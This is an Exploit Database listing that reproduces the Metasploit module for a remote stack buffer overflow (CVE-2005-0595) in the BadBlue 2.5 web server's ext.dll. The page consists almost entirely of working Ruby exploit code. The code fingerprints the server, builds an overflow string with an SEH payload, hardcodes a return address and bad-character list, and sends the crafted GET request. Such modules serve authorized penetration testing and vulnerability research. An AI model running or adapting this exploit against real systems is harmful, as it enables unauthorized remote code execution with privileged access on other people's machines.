BadBlue 2.5 – ‘ext.dll’ Remote Buffer Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-07-07
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16761/

• ##
  # $Id: badblue_ext_overflow.rb 9719 2010-07-07 17:38:59Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	# NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.
  	# However, a proper Server header is returned when requesting /index.html or using HEAD.
  	HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'BadBlue 2.5 EXT.dll Buffer Overflow',
  			'Description'=> %q{
  				This is a stack buffer overflow exploit for BadBlue version 2.5.
  			},
  			'Author' => 'acaro <acaro [at] jervus.it>',
  			'License'=> BSD_LICENSE,
  			'Version'=> '$Revision: 9719 $',
  			'References' =>
  				[
  					[ 'CVE', '2005-0595' ],
  					[ 'OSVDB', '14238' ],
  					[ 'BID', '7387' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 500,
  					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					['BadBlue 2.5 (Universal)', { 'Ret' => 0x1003d9da }],
  				],
  			'DisclosureDate' => 'Apr 20 2003',
  			'DefaultTarget'=> 0))
  	end
  
  	def check
  		info = http_fingerprint# check method
  		if (info =~ /BadBlue\/2\.5/)
  			return Exploit::CheckCode::Vulnerable
  		end
  		Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		uri = "GET /ext.dll?mfcisapicommand="
  		sploit= rand_text_alphanumeric(500)
  		seh = generate_seh_payload(target.ret)
  		sploit[492, seh.length] = seh
  		uri << sploit
  
  		print_status("Trying target #{target.name}...")
  		send_request_raw({ 'uri' => uri })
  
  		handler
  	end
  
  end